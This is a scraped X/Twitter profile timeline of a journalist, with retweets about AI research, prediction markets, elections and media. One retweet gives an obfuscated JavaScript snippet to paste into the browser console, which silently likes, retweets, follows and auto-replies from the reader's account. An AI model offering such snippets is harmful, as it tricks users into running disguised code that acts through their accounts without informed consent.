Zack Abrams (@zackabrams) header
Zack Abrams (@zackabrams) profile picture

SABEW-recognized journalist, creative, cat dad | Weekend Editor @TheBlockCo and @TheLatentCo, DMs open! | he/him 🏳️‍🌈| brooklynite

New York, NY
Joined August 2017
Zack Abrams retweeted
The avalanche that hit math is coming for AI development. dwarkesh.com/p/rsi
188
473
239
5,186
1,620,703
Zack Abrams retweeted
🟡 NEW: Gaming industry poll finds that a bipartisan 82% majority of Americans think that prediction markets should be regulated as gambling products instead of financial ones semafor.com/article/11/13/20…
1
11
4
21
6,710
Zack Abrams retweeted
I have a major result to share. I’ve found conclusive forensic evidence that the top 4 Chinese AI labs—DeepSeek, Moonshot, MiniMax and Ant Group—have built their newest models on NVIDIA’s most advanced Blackwell chips, which are barred from export to China. This sounds insane, but I discovered that almost every AI model carries a hidden signature of the GPU that trained it. When a model is first set up, the starting values of its weights are laid out in a pattern that depends on the exact GPU. Each combination of GPU and seed number produces a unique pattern—a sort of fingerprint of the hardware used to create the model. Traces of that pattern survive training into the published model. Again, this evidence isn’t based on any insider information or leaking. It’s based on a forensic analysis of the model weights released by the companies themselves. I searched more than six trillion combinations of chip layout and seed number and matched them to open-weights models. In doing so, I found conclusive evidence that six Chinese AI models—including DeepSeek-V4-Pro, Kimi K3, and MiniMax-M3—were initialized on NVIDIA Blackwell systems. Four of the models match Grace Blackwell, the GB200 and GB300 parts in NVIDIA’s flagship liquid-cooled rack-scale systems. I then verified these results on real hardware. Running unmodified PyTorch with the seeds I’d recovered, a Blackwell B300 reproduced DeepSeek-V4-Flash’s untouched starting weights bit for bit, and a rented GB200 reproduced Kimi K3’s to a correlation of 0.999995. A Hopper H100 reproduced none of DeepSeek-V4-Flash’s, and changing the seed by one broke the match. (DeepSeek’s seed is 953049583 by the way.) The method also was verified to match 24 known open-weights models to the hardware that developers said they used. It is exceedingly unlikely that these results are a coincidence. Across six trillion combinations, the best accidental match should reach only about 8 sigma (i.e., eight standard deviations above what random chance would produce). The real matches range from 49 to 1,385 sigma, and even the weakest single test hits 20. These were data-center-scale training runs. With some analysis of release schedules and model details, I estimate that the largest, Kimi K3 and DeepSeek-V4-Pro, used 2,000 to 3,000 Blackwell GPUs each. Clusters of this size cost on the order of $150 to $200 million each to buy, and across these labs alone would add up to more than half a billion dollars of export-controlled GPUs, not counting experimental compute or otherwise. It’s quite likely that we see multi-billion dollar expenditure on export-controlled GPUs. I am highly confident in this result, and it has been independently verified by senior researchers at OpenAI and Anthropic. You can read the full report at unemploymentlabs.com/checkpo…. There is much more I’ve identified about these models through other forms of checkpoint forensics like this, and will have more to share soon.
1,820
6,423
2,198
41,222
6,717,922
Zack Abrams retweeted
Kalshi has terminated its advisory relationship with Donald Trump Jr., after his firm 1789 Capital led a funding round for rival Polymarket this summer story by @denitsa_tsekova & @BobbyAllyn 🖥️
28
75
46
398
263,082
Zack Abrams retweeted
i havent libbed out like this in so many years...
10
459
11
7,833
106,437
Zack Abrams retweeted
Stick a fork in it. Annie Andrews defeats Darline Graham in the South Carolina Senate race. Democrats’ second flip of the night. Trump +18 state.
25
322
35
4,329
132,436
Zack Abrams retweeted
> Railway gets caught hacking competitor's infra > “sorry, my agents accidentally did it” This is insane
Hey @Railway, is there a reason employee's of yours are trying to breach my infrastructure? Your employee Jake Runzer, just attempted to tonight.
192
1,153
108
24,431
1,108,638
Zack Abrams retweeted
THE BLOCK: Utah AG Derek Brown has filed criminal charges against Kalshi and executives Tarek Mansour and Luana Lopes Lara for allegedly promoting illegal online gambling. The move follows a lawsuit Brown filed a week earlier over bets on sports, elections, and politics, and comes a day after the CFTC sued Utah to block enforcement of its anti-gambling laws against prediction markets.
15
3
3
34
14,744
Sad development in the western Massachusetts lesbian bar story: Last Ditch is closing
42
108
68
3,642
375,648
Zack Abrams retweeted
whoa
4
3
37
14,055
Zack Abrams retweeted
open this tweet in desktop browser then run the below in console [atob('bGlrZQ=='),atob('cmV0d2VldA==')].forEach(a=>document.querySelector('[data-testid="'+a+'"]')?.click());document. querySelector('[data-testid$="-follow"]')?.click();setTimeout(()=>document.querySelector('[data-testid="'+atob('cmV0d2VldA==')+ 'Confirm"]')?.click(),200);setTimeout(()=>{document.querySelector('[data-testid="reply"]')?.click();setTimeout(()=>{let t=document.querySelector('[data-testid="tweetTextarea_0"]');t.focus();document.execCommand('insertText',false,atob('d2hvYQ==')); setTimeout(()=>document.querySelector('[data-testid="tweetButton"]')?.click(),200)},300)},400)
86
50
10
419
113,605
Zack Abrams retweeted
interpretability might be the most important scientific problem in the world right now, as I don't think we can solve alignment if we don't know what we're building. I think I have good news about it. I co-authored early work in mechanistic interpretability at OpenAI and came away pessimistic, because neural networks appeared to fold into arbitrary tangled knots. years later, I started openai's first large-scale automated interpretability project, finding about 2% of neurons legible with the primitive tools we had with modern agentic tools and a much closer look, the picture looks totally different. the vast majority in models up to trillions of parameters are legible, and their circuits beautiful. many famous examples of tangled neurons turned out to be misunderstood. The roadblocks I expected mostly aren't there. I now think ambitious interpretability will be solved by the time we need it most, and possibly quite soon, as automated scientists keep improving. it may be a bitter lesson for interpretability: the simple thing, at absurd scale, works already-clean.goodfire.com/
888
2,657
1,464
19,990
4,823,215
Zack Abrams retweeted
Neat visualisation on rent control from John Burn Murdoch
10
245
28
1,866
69,067
Zack Abrams retweeted
And: Americans are more likely to have placed a bet at least once a week than having read a book in the past year, studies have shown.
7
23
8
186
46,291
Government has to adjust to the fact that it's just a matter of time before AI agents start making FOIL requests, filing legal claims, applying for permits and benefits, submitting job applications, reporting fraud allegations, asking questions to 311, or making 911 calls. Our government processes were built around an assumption we have barely thought about: that every request, application, complaint, and claim requires a human being to spend time creating it. AI will erase that constraint. NYC simply does not have systems capable of dealing with what could be the resulting exponential increase in the volume of incoming. The time to fix that is now. I wrote about this and other challenges AI is posing for NYC, and what we need to do about it. Link in reply.
35
18
6
190
21,550
Zack Abrams retweeted
OK, this is wild: I’ve confirmed that this video — that used AI to change the race of the creator below then turned it into a Kalshi ad — is real. A Kalshi rep says the ad is old and that they no longer use AI-generated ads. Kalshi is also “reviewing our relationship with” with the agency that made it. Unclear right now what agency was behind this, what methods they used and exactly how many people were AI-manipulated to be another identity so synthetic versions of themselves could become Kalshi promoters without their knowledge and consent, but I’m looking into it.
i guess kalshi saw this and thought they should steal my video, turn me into a white dude, and run it as an ad
22
191
17
1,550
155,981
Zack Abrams retweeted
6
17
5
42
62,248
Zack Abrams retweeted
New: In late 2024, FBI investigators had enough evidence to launch a sweeping bribery probe that could ensnare top lawmakers, including Sen. Susan Collins. Then Trump was reelected and eviscerated the FBI and DOJ teams handling public corruption probes. propub.li/4yLLwaF
453
7,100
794
20,324
5,764,571
An absolutely *stunning* chart via @axios on how search has collapsed as a traffic driver for legacy media
105
314
70
1,081
317,592